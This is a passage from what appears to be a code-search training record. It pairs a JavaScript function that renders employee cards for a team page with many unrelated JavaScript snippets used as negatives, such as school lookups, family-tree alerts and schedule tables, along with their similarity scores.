< children.length; i++) {\n childString += children[i].firstName;\n childString += \" \";\n childString += children[i].lastName;\n if (i < children.length - 1) {\n childString += \" and \";\n }\n }\n if (children.length == 0) {\n childString += \" No children found\";\n }\n\n\n\n alert(\"ID: \" + person.id + \"\\n\" +\n \"Name: \" + person.firstName + \" \" + person.lastName + \"\\n\" +\n parentsString + \"\\n\" +\n spouseString + \"\\n\" +\n childString\n )\n\treturn mainMenu(person, people);\n}", "function validateSchoolCode (schoolCode) {\n // INVALID: school code is empty\n var schoolCodeStr = String(schoolCode)\n if (schoolCodeStr.length == 0) {\n return 'University Code cannot be empty';\n\n // INVALID: University Code is not length 4\n } else if (schoolCodeStr.length < 4 || schoolCodeStr.length > 4) {\n return 'University Code must have 4 digits';\n }\n\n // Valid University Code\n return '';\n }", "function get_sec_schls(arg){\n \t\tvar details = '';\n\t\t$.ajax({\n\t\t\turl: base_url+'staff/fetch_edu_data/'+arg,\n\t\t\tdataType: \"JSON\"\n\t\t}).done(function (data) {\n\t\t\tif(data != null || data != \" \"){\n\t\t\t\t$('table.sec_sch').show();\n\t\t\t}\n\t\t\t\t$.each(data, function () {\n\t\t\t\t\tdetails += \"<tr>\"+\n\t\t\t\t\t\"<td class=\\\"use\\\">\"+ this.secsch_name +\"</td>\"+\n\t\t\t \"<td>\"+ this.secsch_entry_yr +\"</td>\"+\n\t\t\t \"<td>\"+ this.secsch_grad_yr +\"</td>\"+\n\t\t\t \"<td>\"+ this.secsch_qual +\"</td>\"+\n\t\t\t \"<td>\"+ \"<button class=\\\"rmv\\\">-</button>\" +\"</td>\"+\n\t\t\t \"</tr>\";\n\t\t\t});\n\t\t\t//alert(details);\n\n\t\t\t$(\".sec_sch tbody\").append(details);\n\t\t});\n\t}// The Secondary school fetch function ends here", "function getSchools() {\n document.getElementById(\"places-list\").innerHTML = \"\";\n searchWord = \"school\";\n initMap()\n}", "function displayQualityDescription() {\n return airQualityElement.innerHTML === '1' ? airQualityDescription.innerHTML = '&nbsp;Good'\n : airQualityElement.innerHTML === '2' ? airQualityDescription.innerHTML = '&nbsp;Fair'\n : airQualityElement.innerHTML === '3' ? airQualityDescription.innerHTML = '&nbsp;Moderate'\n : airQualityElement.innerHTML === '4' ? airQualityDescription.innerHTML = '&nbsp;Poor'\n : airQualityElement.innerHTML === '5' ? airQualityDescription.innerHTML = '&nbsp;Very Poor'\n : airQualityDescription.innerHTML = 'N/A'\n}", "function getCourseTitle(school,count){\n\tdept = $('#dept'+count).val();\n\tcourseNumber = $('#courseSelector'+count).val();\n\t$.getJSON(\"/api/coursetitles/\" + school + \"/\" + dept + \"/\" + courseNumber, function (data){\n\t\tif($('#coursetitle'+count).length === 0){\n\t\t\t$(\"<span>\", {\n\t\t\t\t\"id\": \"coursetitle\"+count,\n\t\t\t\t\"style\": \"display:inline\",\n\t\t\t\thtml: data.title\n\t\t\t}).insertAfter('#courseSelector'+count);\n\t\t}\n\t\telse{\n\t\t\t$('#coursetitle'+count).html(data.title);\n\t\t}\t\n\t});\n}", "function students(d,curdate) {\n\tif (d.properties.students) {\n\t\tvar dateloc=d.properties.students.search(niceDate(curdate));\n\t\tif (dateloc > -1) {\n\t\t\treturn Number(d.properties.students.substr(dateloc+5,3));\n\t\t} else { return \"0\";}\n\t} else {return \"0\";}\n}", "function excludeIncompleteSchool(schoolDoc) {\n if (!schoolDoc.watsonPersonality) return true;\n // sat fields\n if (!schoolDoc.sat) return true;\n if (!schoolDoc.sat.writing_mean) return true;\n if (!schoolDoc.sat.mathematics_mean) return true;\n if (!schoolDoc.sat.critical_reading_mean) return true;\n // performance fields\n if (!schoolDoc.performance) return true;\n if (!schoolDoc.performance.graduation_rate_historic_avg_similar_schls) return true;\n if (!schoolDoc.performance.college_career_rate_historic_avg_similar_schls) return true;\n if (!schoolDoc.performance.ontrack_year1_historic_avg_similar_schls) return true;\n return false;\n }", "function teamNameDesign() {\n var team_name_design = 4; //add $4\n if($('#team_name_design').val() != \"none\") {\n $('#team_name_design_cost').show();\n $('#team_name_design_cost span').html(team_name_design);\n return team_name_design;\n }\n else {\n $('#team_name_design_cost').hide();\n return 0;\n }\n}", "function collegeInfo(college) {\n Modal.info({\n title: 'College Detail',\n content: (\n <div>\n <p>College ID : {college._id}</p>\n <p>Name : {college.name}</p>\n <p>Since : {college.year_founded}</p>\n <p>City : {college.city}</p>\n <p>State : {college.state}</p>\n <p>Country : {college.country}</p>\n <p>No. of Students : {college.no_of_students}</p>\n <p>Courses Offered:</p>\n <ul>\n {college.courses.map(course=>{\n return <li key={course}>{course}</li>\n })}\n </ul>\n <a href={\"/similar/?id=\"+college._id}>Show Similar Colleges</a>\n <br/>\n <a href={\"/students/?id=\"+college._id}>Show Students List</a>\n \n </div>\n ),\n onOk() {},\n });\n }", "async getSingleSchool (req, res, next){\n // Validating query param\n const { error } = Validator.getSchoolValidation(req.query);\n if (error) {\n return res\n .status(400)\n .send({ success: false, message: error.details[0].message });\n }\n try {\n const school = await School.findOne({\n schoolName: req.query.schoolName\n }).select('_id schoolName address phoneNum');\n \n if (!school) {\n return res.status(404).send({\n success: false,\n message: 'School Name Not Found in the Database!'\n });\n }\n res.status(200).send({\n success: true,\n data: {\n school: school\n }\n });\n } catch (err) {\n res.status(500).json({ success: false, error: err });\n }\n }", "function showWords(){\n return profanities;\n }", "function displaySafetySheets(SSType)\r\n{\r\n\tvar safetySheet;\r\n \r\n\t$.getJSON('data/safety-sheets.txt', \r\n\t\tfunction(data)\r\n\t\t{\r\n\t\t\tif (SSType == 'indoors')\r\n\t\t\t{\r\n\t\t\t\t$('span#mi-data').html('<h1>Indoor Safety Sheets</h1><br /><hr /><br />');\r\n\t\t\t\t$.each(data.indoors, function(row, value)\r\n {if (value.display == 'Y' || value.display == 'y') {displaySSData(value)};});\r\n\t\t\t}\r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t\t$('span#mi-data').html('<h1>Outdoor Safety Sheets</h1><br /><hr /><br />');\r\n\t\t\t\t$.each(data.outdoors, function(row, value)\r\n {if (value.display == 'Y' || value.display == 'y') {displaySSData(value)};});\r\n\t\t\t};\r\n\t\t});\r\n}", "function showFamilyDiv() {\n var result = getStyleClass(\"family-results\");\n if (!result) return;\n \n if (result.style.display == \"\") {\n result.style.display = \"none\";\n $('family-score-title').style.visibility = \"hidden\";\n\n }\n else {\n result.style.display = \"\";\n $('family-score-title').style.visibility = \"visible\";\n }\n}", "function decideCategory([member]) {\n return member[0] >= 55 && member[1] > 7 ? \"Senior\" : \"Open\";\n}", "function checkMinistry(ministry){\n let $ministryMultiple = false;\n switch(true){\n // Multiple retro's\n case ministry === '2' : // Ministry of Advanced Education, Skills & Training\n case ministry === '5' : // Ministry of Attorney General\n case ministry === '12' : // BC Public Service Agency\n case ministry === '17' : // Ministry of Children & Family Development\n case ministry === '18' : // Ministry of Citizens' Services\n case ministry === '23' : // Destination BC Corp\n case ministry === '24' : // Ministry of Education\n case ministry === '25' : // Elections BC\n case ministry === '29' : // Ministry of Energy and Mines and Low Carbon Innovations\n case ministry === '30' : // Ministry of Environment & Climate Change Strategy\n case ministry === '32' : // Environmental Assessment Office\n case ministry === '34' : // Ministry of Finance\n case ministry === '39' : // Ministry of Forests, Lands, Natural Resource Operations & Rural Development\n case ministry === '40' : // Government Communications & Public Engagement\n case ministry === '42' : // Ministry of Health\n case ministry === '46' : // Ministry of Indigenous Relations & Reconciliation\n case ministry === '48' : // Intergovernmental Relations Secretariat\n case ministry === '55' : // Ministry of Mental Health & Addictions\n case ministry === '60' : // Office of the Information and Privacy Commissioner\n case ministry === '62' : // Office of the Ombudsperson\n case ministry === '63' : // Office of the Police Complaints Commissioner\n case ministry === '70' : // Public Guardian and Trustee\n case ministry === '71' : // Ministry of Public Safety and Solicitor General and Emergency BC\n case ministry === '81' : // Ministry of Transportation & Infrastructure\n case ministry === '11' : // BC Pension Corporation\n case ministry === '21' : // Community Living BC\n case ministry === '61' : // Office of the Merit Commissioner\n case ministry === '76' : // Ministry of Social Development and Poverty Reduction\n // Single retro.\n case ministry === '4': // Ministry of Agriculture, Food and Fisheries\n case ministry === '3': // Agricultural Land Commission\n case ministry === '50' : //Ministry of Jobs, Economic Recovery and Innovation\n case ministry === '57' : //Ministry of Municipal Affairs\n case ministry === '79' : //Ministry of Tourism, Arts, Culture, and Sport\n\n $ministryMultiple = true;\n break;\n }\n return $ministryMultiple;\n }", "function displayInfo(person, people) {\n let parentsString = getParents(person, people);\n\n\n let spouseString = getSpouse(person, people);\n\n alert(\"ID: \" + person.id + \"\\n\" +\n \"Name: \" + person.firstName + \" \" + person.lastName + \"\\n\" +\n \"Gender: \" + person.gender + \"\\n\" +\n \"Date of Birth: \" + person.dob + \"\\n\" +\n \"Height: \" + Math.floor(person.height / 12) + \" feet and \" + (person.height % 12) + \" inches\\n\" +\n \"Weight: \" + person.weight + \" pounds\\n\" +\n \"Eye Color: \" + person.eyeColor + \"\\n\" +\n \"Occupation: \" + person.occupation + \"\\n\" +\n parentsString + \"\\n\" +\n spouseString + \"\\n\" +\n \"Age: \" + person.age)\n\n\t\treturn mainMenu(person, people);\n}", "function viewStudent(id, name, guardian, occupation, phone, dob, rel, address)\n{\n\t$('#stID').html(id);\n\t$('#stName').html(name);\n\t$('#dob').html(dob);\n\t$('#religion').html(rel);\n\t$('#address').html(address);\n\t$('#gName').html(guardian);\n\t$('#occupation').html(occupation);\n\t$('#phone').html(phone);\n}", "function teacherSchd(name, activity, grade,helper){\n\tvar table = document.getElementById(\"teachSchedule\");\n\tvar teachers=['Jennifer Winkler','Leane Sikes','Jackie Holowinski','Jean Rorro',\n\t'Carolyn Cooney','Kim McCloskey','Robert Crescitelli', 'Audrey Mutch',\n\t'Laura Cibbattoni', 'Rebecca Gloede'];\n\tvar formattedActivity=\"\";\n\tswitch(activity) {\n\t\tcase 'free':\n\t\tformattedActivity = 'Free Time';\n\t\tbreak;\n\t\tcase 'outdoor':\n\t\tformattedActivity = ' Outdoor Activity';\n\t\tbreak;\n\t\tcase 'talent':\n\t\tformattedActivity = 'Talent Show';\n\t\tbreak;\n\t\tcase 'crafts':\n\t\tformattedActivity = 'Arts & Crafts';\n\t\tbreak;\n\t\tcase 'group':\n\t\tformattedActivity = 'Group Activity';\n\t\tbreak;\n\t\tcase 'hallway':\n\t\tformattedActivity = 'Hallway Activity';\n\t\tbreak;\n\t\tcase 'kidTeach':\n\t\tformattedActivity = 'Kids Teaching Kids';\n\t\tbreak;\n\t\tdefault:\n\t\tformattedActivity = activity;\n\t\tbreak;\n\t}\n\n\tif(helper === 1){\n\t\t//setup the headers\n\t\tvar header = table.insertRow(-1);\n\t\tfor(teacher in teachers){\n\t\t\tvar head1 = header.insertCell();\n\t\t\thead1.innerHTML = teachers[teacher];\n\t\t}\n\n\t\t//setup table - assume each teacher has no more than 60 students.\n\t\tfor(var r = 0; r < 60; r++){\n\t\t\tvar row = table.insertRow();\n\t\t\tfor(var t =0; t<10; t++){\n\t\t\t\tvar cell= row.insertCell();\n\t\t\t\tcell.innerHTML =\"\";\n\t\t\t}\n\t\t}\n\t}\n\t//add students to teachers table\n\tswitch(grade) {\n\t\tcase '1w':\n\t\ttable.rows[window.w1].cells[0].innerHTML = name + \": \" + formattedActivity;\n\t\twindow.w1++;\n\t\tbreak;\n\t\tcase '1s':\n\t\twindow.s1++;\n\t\tif(table.rows[window.s1].cells[1].innerHTML == undefined){\n\t\t\tvar row = table.insertRow();\n\t\t\tfor(var i = 0; i < 10; i++){\n\t\t\t\tvar cell = row.insertCell();\n\t\t\t}\n\t\t\ttable.rows[window.s1].cells[1].innerHTML = name + \": \" + formattedActivity;\n\t\t}\n\t\telse table.rows[window.s1].cells[1].innerHTML = name + \": \" + formattedActivity;\n\t\tbreak;\n\t\tcase '2h':\n\t\twindow.h2++;\n\t\tif(table.rows[window.h2].cells[2].innerHTML == undefined){\n\t\t\tvar row = table.insertRow();\n\t\t\tfor(var i = 0; i < 10; i++){\n\t\t\t\tvar cell = row.insertCell();\n\t\t\t}\n\t\t\ttable.rows[window.h2].cells[2].innerHTML = name + \": \" + formattedActivity;\n\t\t}\n\t\telse table.rows[window.h2].cells[2].innerHTML = name + \": \" + formattedActivity;\n\n\t\tbreak;\n\t\tcase '2r':\n\t\twindow.r2++;\n\t\tif(table.rows[window.r2].cells[3].innerHTML == undefined){\n\t\t\tvar row = table.insertRow();\n\t\t\tfor(var i = 0; i < 10; i++){\n\t\t\t\tvar cell = row.insertCell();\n\t\t\t}\n\t\t\ttable.rows[window.r2].cells[3].innerHTML = name + \": \" + formattedActivity;\n\t\t}\n\t\telse table.rows[window.r2].cells[3].innerHTML = name + \": \" + formattedActivity;\n\t\tbreak;\n\t\tcase '3c':\n\t\twindow.c3++;\n\t\tif(table.rows[window.c3].cells[4].innerHTML == undefined){\n\t\t\tvar row = table.insertRow();\n\t\t\tfor(var i = 0; i < 10; i++){\n\t\t\t\tvar cell = row.insertCell();\n\t\t\t}\n\t\t\ttable.rows[window.c3].cells[4].innerHTML = name + \": \" + formattedActivity;\n\t\t}\n\t\telse table.rows[window.c3].cells[4].innerHTML = name + \": \" + formattedActivity;\n\t\tbreak;\n\t\tcase '3m':\n\t\twindow.m3++;\n\t\tif(table.rows[window.m3].cells[5].innerHTML == undefined){\n\t\t\tvar row = table.insertRow();\n\t\t\tfor(var i = 0; i < 10; i++){\n\t\t\t\tvar cell = row.insertCell();\n\t\t\t}\n\t\t\ttable.rows[window.m3].cells[5].innerHTML = name + \": \" + formattedActivity;\n\t\t}\n\t\telse table.rows[window.m3].cells[5].innerHTML = name + \": \" + formattedActivity;\n\t\tbreak;\n\t\tcase '4c':\n\t\twindow.c4++;\n\t\tif(table.rows[window.c4].cells[6].innerHTML == undefined){\n\t\t\tvar row = table.insertRow();\n\t\t\tfor(var i = 0; i < 10; i++){\n\t\t\t\tvar cell = row.insertCell();\n\t\t\t}\n\t\t\ttable.rows[window.c4].cells[6].innerHTML = name + \": \" + formattedActivity;\n\t\t}\n\t\telse table.rows[window.c4].cells[6].innerHTML = name + \": \" + formattedActivity;\n\t\tbreak;\n\t\tcase '4m':\n\t\twindow.m4++;\n\t\tif(table.rows[window.m4].cells[7].innerHTML == undefined){\n\t\t\tvar row = table.insertRow();\n\t\t\tfor(var i = 0; i < 10; i++){\n\t\t\t\tvar cell = row.insertCell();\n\t\t\t}\n\t\t\ttable.rows[window.m4].cells[7].innerHTML = name + \": \" + formattedActivity;\n\t\t}\n\t\telse table.rows[window.m4].cells[7].innerHTML = name + \": \" + formattedActivity;\n\t\tbreak;\n\t\tcase '5c':\n\t\twindow.c5++;\n\t\tif(table.rows[window.c5].cells[8].innerHTML == undefined){\n\t\t\tvar row = table.insertRow();\n\t\t\tfor(var i = 0; i < 10; i++){\n\t\t\t\tvar cell = row.insertCell();\n\t\t\t}\n\t\t\ttable.rows[window.c5].cells[8].innerHTML = name + \": \" + formattedActivity;\n\t\t}\n\t\telse table.rows[window.c5].cells[8].innerHTML = name + \": \" + formattedActivity;\n\t\tbreak;\n\t\tcase '5g':\n\t\twindow.g5++;\n\t\tif(table.rows[window.g5].cells[9].innerHTML == undefined){\n\t\t\tvar row = table.insertRow();\n\t\t\tfor(var i = 0; i < 10; i++){\n\t\t\t\tvar cell = row.insertCell();\n\t\t\t}\n\t\t\ttable.rows[window.g5].cells[9].innerHTML = name + \": \" + formattedActivity;\n\t\t}\n\t\telse table.rows[window.g5].cells[9].innerHTML = name + \": \" + formattedActivity;\n\t\tbreak;\n\n\t\tdefault:\n\t\talert(\"Error: grade not found: \" + grade);\n\t}\n}", "renderInformation() {\n const { person } = this.props;\n //TODO: better way to check if person is student/teacher\n if ('is_searching' in person) {\n return (\n <TeacherInformation\n teacher={person} />\n )\n } else {\n return (\n <StudentInformation\n student={person} />\n )\n }\n }", "isBestanden(module){\n var bestanden = this.props.student.Bestanden;\n if (bestanden.includes(module)){\n\treturn \"bestanden\";\n }\n else return \"card\";\n }", "function setupSchools(){\n // Clear cardContainer\n $('.cardContainer').empty();\n // Change heading to subjects\n $('#branchLists h3').text('Schools')\n\n // Stores hardcoded schools names and degrees offered by each school and their ID\n let schools = getSchoolList();\n\n //Propagates all school templates\n schools.forEach(function(item){\n let template = new BranchTemplate(item);\n template.propagateTemplate();\n // BranchTemplateArr.push(template);\n });\n\n // Set on click listener for each degree/branch\n branchOnClick();\n}", "function getStudentInfo () {\n\t//get the currentProblemIndex\n\tcurrentProblemIndex = StudentModel.find({_id: Meteor.userId()}).fetch()[0].currentproblemindex;\n\tif (currentProblemIndex == undefined) {\n\t\tcurrentProblemIndex == 0;\n\t\tMeteor.call('updateStudentModel', 'currentproblemindex', 0);\n\t}\n\n\t//get the partialProblems\n\tpartialProblems = StudentModel.find({_id: Meteor.userId()}).fetch()[0].partialproblems;\n\tif (partialProblems == undefined) {\n\t\tmakeProblems();\n\t\tMeteor.call('updateStudentModel', 'partialproblems', partialProblems);\n\t}\n\n\t//get the currentProblem\n\tcurrentProblem = partialProblems[currentProblemIndex];\n\n\t//get the partialproofcolor\n\tcolorIndex = StudentModel.find({_id: Meteor.userId()}).fetch()[0].partialproofcolor;\n\tif (colorIndex == undefined) {\n\t\tcolorIndex = 0;\n\t\tMeteor.call('updateStudentModel', 'partialproofcolor', 0);\n\t}\n\tdocument.getElementById('colorSelectPartial').selectedIndex = colorIndex;\n\tvar currentdragcolorname = colorSchemes[colorIndex].dragcolorname;\n\tvar currentdropcolorname = colorSchemes[colorIndex].dropcolorname;\n\tvar currentrulecolorname = colorSchemes[colorIndex].rulecolorname;\n\tchangeColors(colorSchemes[colorIndex]);\n\tvar currenthtml = $('#ruleInstructionsPartial').html();\n\tvar newhtml = currenthtml.replace(currentdragcolorname, colorSchemes[colorIndex].dragcolorname);\n\tnewhtml = newhtml.replace(currentdropcolorname, colorSchemes[colorIndex].dropcolorname);\n\tnewhtml = newhtml.replace(currentrulecolorname, colorSchemes[colorIndex].rulecolorname)\n\t$('#ruleInstructionsPartial').html(newhtml);\n}", "function school_chck(){\n\nif(document.getElementById('schoolcheckterm').checked==false){\n\t\tdocument.getElementById(\"schoolcheckboxerror\").style.display=\"block\";\n\t\t\treturn false;\n\t\t}\n\t\t\telse{\n\t\t\tdocument.getElementById(\"schoolcheckboxerror\").style.display=\"none\";\n\t\t\t\t\n\t\t\t}\n\n\n\n}" ]
[ "0.69027483", "0.6764708", "0.63676643", "0.6353806", "0.63304585", "0.6324548", "0.6299248", "0.62773156", "0.62773156", "0.62773156", "0.6270707", "0.623694", "0.60843575", "0.6073608", "0.6073608", "0.59600055", "0.5902357", "0.5886443", "0.58758616", "0.5867311", "0.5822216", "0.5792138", "0.57721853", "0.5771211", "0.57701516", "0.5756144", "0.57301104", "0.56517524", "0.5628409", "0.56207985", "0.5571311", "0.55521405", "0.5551234", "0.55491936", "0.55316013", "0.5526127", "0.5485388", "0.54809767", "0.54668707", "0.54641455", "0.5463625", "0.545417", "0.5450918", "0.5435791", "0.542558", "0.54225415", "0.54095864", "0.5381962", "0.5379372", "0.5373162", "0.53674483", "0.53649914", "0.5358728", "0.53468865", "0.53416085", "0.53377455", "0.53351563", "0.5328434", "0.53258175", "0.53219527", "0.53198", "0.53078145", "0.5299524", "0.52914363", "0.5277508", "0.5274701", "0.5274701", "0.52550143", "0.5247063", "0.52436703", "0.52412814", "0.52398056", "0.52374697", "0.5232205", "0.5230169", "0.5229742", "0.52283704", "0.522749", "0.5222251", "0.521774", "0.52146447", "0.52136564", "0.5196351", "0.5195389", "0.5190953", "0.51812047", "0.5176889", "0.51668453", "0.5164773", "0.51646584", "0.51513183", "0.51376647", "0.51329535", "0.5124611", "0.51213", "0.51170903", "0.5115957", "0.5108956", "0.510887", "0.5106792" ]
0.71886736
0
Function to generate card for each team member
function employeeCard(team) { return `<div class="col"> <div class="card m-4 shadow p-3 bg-body rounded"> <div class="card-body"> <h1 class="card-title">${team.name}</h1> <h5 class="fw-light">${team.role}</h5> </div> <ul class="list-group list-group-flush"> <li class="list-group-item p-4"><span class="text-muted">ID:</span> ${team.id}</li> <li class="list-group-item p-4"><span class="text-muted">Email: </span><a class="text-decoration-none" href="mailto:${team.email}">${team.email}</a></li> ${team.officeNumber ? displayOfficeNumber(team.officeNumber) : ''} ${team.school ? displaySchool(team.school) : ''} ${team.github ? displayGithub(team.github) : ''} </ul> </div> </div> ` }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function generateCard(teamArray) {\n console.log(teamArray);\n let arrayOfCards = []\n teamArray.forEach(employee => arrayOfCards.push(`<div class=\"card text-white bg-secondary mb-3\" style=\"max-width: 18rem;\">\n <div class=\"card-header\">${employee.name}</div>\n <div class=\"card-body text-dark bg-light\">\n <h5 class=\"card-title\">${employee.getRole()}</h5>\n <p class=\"card-text\"></p>\n <ul class=\"list-group list-group-flush\">\n ${employee.getRole() === \"Manager\" ? `<li class=\"list-group-item\">office: ${employee.officeNumber}</li>` : employee.getRole() === \"Engineer\" ? `<li class=\"list-group-item\">GitHub: ${employee.github}</li>` : `<li class=\"list-group-item\">School: ${employee.school}</li>`}\n <li class=\"list-group-item\">Email: ${employee.email}</li>\n <li class=\"list-group-item\">Employee ID: ${employee.id}</li>\n </ul>\n <a href=\"${employee.email}\" class=\"card-link\">${employee.email}</a>\n <a href=\"${employee.getRole() === \"Engineer\" ? `https://github.com/${employee.github}` : `N/A`}\" class=\"card-link\">github: ${employee.getRole() === \"Engineer\" ? `${employee.github}` : `N/A`}</a>\n </div>\n </div>`))\n return arrayOfCards.join(\"\")\n}", "function generateCardElement(j) {\n const member = team[j]\n\n const cardElement = `<div class=\"team-card\">\n <div class=\"card-image\">\n <img\n src=\"${member.image}\"\n alt=\"${member.name}\"\n />\n </div>\n <div class=\"card-text\">\n <h3>${member.name}</h3>\n <p>${member.role}</p>\n </div>\n </div>`\n\n teamContainer.innerHTML += cardElement\n}", "function generateCard(teamData) {\n let cards = '';\n\n for (let i = 0; i < teamData.length; i++) {\n if (teamData[i].job === 'Manager') {\n cards += `\n <div class='card text-center col-3 mx-3 my-3 p-0'>\n <div class='card-header bg-success'>\n <h4>${teamData[i].job}</h4>\n <h3>${teamData[i].name}</h3>\n </div>\n\n <div class=\"card-body\">\n <p>ID#${teamData[i].id}</p>\n <a href=\"mailto:${teamData[i].email}\">${teamData[i].email}</a> \n <p>Office#${teamData[i].officeNumber}</p> \n </div>\n </div>\n `\n } else if (teamData[i].job === 'Intern') {\n cards += `\n <div class='card text-center col-3 mx-3 my-3 p-0'>\n <div class='card-header bg-warning'>\n <h4>${teamData[i].job}</h4>\n <h3>${teamData[i].name}</h3>\n </div>\n\n <div class=\"card-body\">\n <p>ID#${teamData[i].id}</p>\n <a href=\"mailto:${teamData[i].email}\">${teamData[i].email}</a> \n <p>School Attended: ${teamData[i].school}</p>\n </div>\n </div> \n `\n } else {\n cards += `\n <div class='card text-center col-3 mx-3 my-3 p-0'>\n <div class='card-header bg-info'>\n <h4>${teamData[i].job}</h4>\n <h3>${teamData[i].name}</h3>\n </div>\n\n <div class=\"card-body\">\n <p>ID#${teamData[i].id}</p>\n <a href=\"mailto:${teamData[i].email}\">${teamData[i].email}</a> \n <a href=\"http://github.com/${teamData[i].github}\"><img src=\"https://img.shields.io/badge/GitHub-${teamData[i].github}-red\" alt=\"${teamData[i].github}\"></a>\n </div>\n </div> \n `\n }\n };\n\n return cards;\n}", "function generateHTML(team) {\n return `\n <!DOCTYPE html>\n <html lang=\"en\">\n <head>\n <meta charset=\"UTF-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\">\n <title>Team Profile</title>\n <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css\">\n </head>\n <body>\n <div class=\"container-fluid blue-grey lighten-4 z-depth-2\">\n <h1 class=\"center-align blue-grey-text\" style=\"padding: 50px; margin-top: 0px;\">Team Profile</h1>\n </div>\n <div id=\"employeeCards\" class=\"row\">\n ${team.map(generateCard).join('')}\n </div>\n </body>\n</html>`\n}", "function generateCards(){\n shuffle(cardList.concat(cardList)).forEach(createCard);\n}", "function generateHTML(fullTeam) {\n\n // Create new array of employee cards based on employee role\n const cardsArray = fullTeam.map(employee => {\n\n // Check role for each employee in fullTeam array using the getRole() method\n let role = employee.getRole();\n\n if (role === \"Manager\") {\n let managerCard = createManagerCard(employee);\n return managerCard;\n }\n\n if (role === \"Engineer\") {\n let engineerCard = createEngineerCard(employee);\n return engineerCard;\n }\n\n if (role === \"Intern\") {\n let internCard = createInternCard(employee);\n return internCard;\n }\n });\n\n const employeeCards = cardsArray.join(\"\");\n\n const finishedHTML = finalDocument(employeeCards);\n\n return finishedHTML;\n}", "function giveCards() {\n\tshuffle(cards).forEach(function createCard(x) {\n\t\t$(\".deck\").append(`<li class=\"card\"><i class=\"fa ${x}\"></i></li>`);\n\t});\n}", "function loopEngineer(teamEngineer) {\n\n let engineerCards = teamEngineer.map(engineer => {\n return `\n <section class=\"col\">\n <div class=\"card shadow rounded\">\n\n <div class=\"card-header\">\n ${engineer.getName()} <br>\n ${engineer.getRole()}\n </div>\n\n <div class=\"card-body\">\n\n <ul class=\"list-group list-group-flush border\">\n <li class=\"list-group-item\">ID: ${engineer.getId()}</li>\n <li class=\"list-group-item\">Email: <a href=\"mailto:${engineer.getEmail()}\">${engineer.getEmail()}</a></li>\n <li class=\"list-group-item\"> <a href=\"https://github.com/${engineer.getGithub()}\" target=\"_blank\">${engineer.getGithub()}</a></li>\n </ul>\n\n </div>\n\n </div>\n </section>` \n })\n\n return engineerCards.join('');\n\n}", "function loopIntern(teamIntern) {\n\n let internCards = teamIntern.map(intern =>{\n return ` \n <section class=\"col\">\n <div class=\"card shadow rounded\">\n\n <div class=\"card-header\">\n ${intern.getName()} <br>\n ${intern.getRole()}\n </div>\n\n <div class=\"card-body\">\n\n <ul class=\"list-group list-group-flush border\">\n <li class=\"list-group-item\">ID: ${intern.getId()}</li>\n <li class=\"list-group-item\">Email: <a href=\"mailto:${intern.getEmail()}\">${intern.getEmail()}</a></li>\n <li class=\"list-group-item\">${intern.getSchool()}</li>\n </ul>\n\n </div>\n\n </div>\n </section>`\n })\n return internCards.join('');\n}", "function memberTemplateCard(member) {\n return `\n <div class=\"col-sm-6 col-md-2 urbacard\" onclick=\"displayMemberOverlay('${member.id}')\"> \n \n \n ${(member.member != \"no\") ? '<div class=\"card border-success\" >' : '<div class=\"card\" >'}\n\n <img class=\"card-img-top img-fluid\" src=\"${member.image_display_url}\" onerror=\"this.onerror=null;this.src='${organizationImageDefaut}';\" alt=\"${member.display_name}\">\n\n \n <div class=\"card-body\" style=\"\n padding-top: 0px;\n padding-bottom: 5px;\n padding-left: 5px;\n padding-right: 5px;\n \"> \n <h5 class=\"card-title\">${member.display_name}</h5> \n <h6 class=\"card-subtitle mb-2 text-muted\">${member.slogan}</h6>\n <div class=\"collapse\" id=\"collapse-${member.name}\">\n <p class=\"card-text\">${member.description}</p>\n <p class=\"card-tags\">${member.tags}</p>\n </div>\n </div>\n \n <div class=\"card-footer\" style=\"\n padding-left: 6px;\n padding-right: 6px;\n padding-top: 0px;\n padding-bottom: 1px;\n \">\n ${member.organization_type ? orgType(member.organization_type) : \"\"} \n ${member.description.length > 50 ? ` <i class=\"icon-info\"></i> ` : \"\"}\n ${member.phone ? ` <i class=\"icon-phone\"></i> ` : \"\"}\n ${ ((isValidResource(member.employees)) || (Array.isArray(member.employees))) ? ` <i class=\"icon-people\"></i> ` : \"\"}\n ${member.tags ? ` <i class=\"icon-tag\"></i> ` : \"\"} \n ${member.package_count > 0 ? ` <i class=\"fa fa-database\"></i> ` : \"\"} \n \n \n </div>\n \n </div>\n </div>\n <!-- end card -->\n `;\n}", "function generateCard(emp) {\n if (emp.title === \"Engineer\") {\n return `\n <div class=\"col s12 m6 l4\">\n <div class=\"card hoverable\" style=\"border-radius: 5px;\">\n <div class=\"blue-grey darken-2 center-align white-text\"\n style=\"padding: 75px; border-radius: 25px; border: 15px solid white;\">\n <h4 id=\"name\" style=\"margin-bottom: 15px;\">${emp.name}</h4>\n <h5>${emp.title}</h5>\n\n </div>\n <div class=\"card-content\" style=\"padding: 5px 20px;\">\n <ul>\n <li id=\"id\">id: ${emp.id}</li>\n <li id=\"email\">email: ${emp.email}</li>\n <li id=\"github\">github: ${emp.github}</li>\n </ul>\n </div>\n </div>\n </div>`\n } else if (emp.title === \"Intern\") {\n return `\n <div class=\"col s12 m6 l4\">\n <div class=\"card hoverable\" style=\"border-radius: 5px;\">\n <div class=\"blue-grey darken-4 center-align white-text\"\n style=\"padding: 75px; border-radius: 25px; border: 15px solid white;\">\n <h4 id=\"name\" style=\"margin-bottom: 15px;\">${emp.name}</h4>\n <h5>${emp.title}</h5>\n\n </div>\n <div class=\"card-content\" style=\"padding: 5px 20px;\">\n <ul>\n <li id=\"id\">id: ${emp.id}</li>\n <li id=\"email\">email: ${emp.email}</li>\n <li id=\"github\">school: ${emp.school}</li>\n </ul>\n </div>\n </div>\n </div>`\n } else if (emp.title === \"Manager\") {\n return `\n <div class=\"col s12 m6 l4\">\n <div class=\"card hoverable\" style=\"border-radius: 5px;\">\n <div class=\"blue-grey lighten-1 center-align white-text\"\n style=\"padding: 75px; border-radius: 25px; border: 15px solid white;\">\n <h4 id=\"name\" style=\"margin-bottom: 15px;\">${emp.name}</h4>\n <h5>${emp.title}</h5>\n\n </div>\n <div class=\"card-content\" style=\"padding: 5px 20px;\">\n <ul>\n <li id=\"id\">id: ${emp.id}</li>\n <li id=\"email\">email: ${emp.email}</li>\n <li 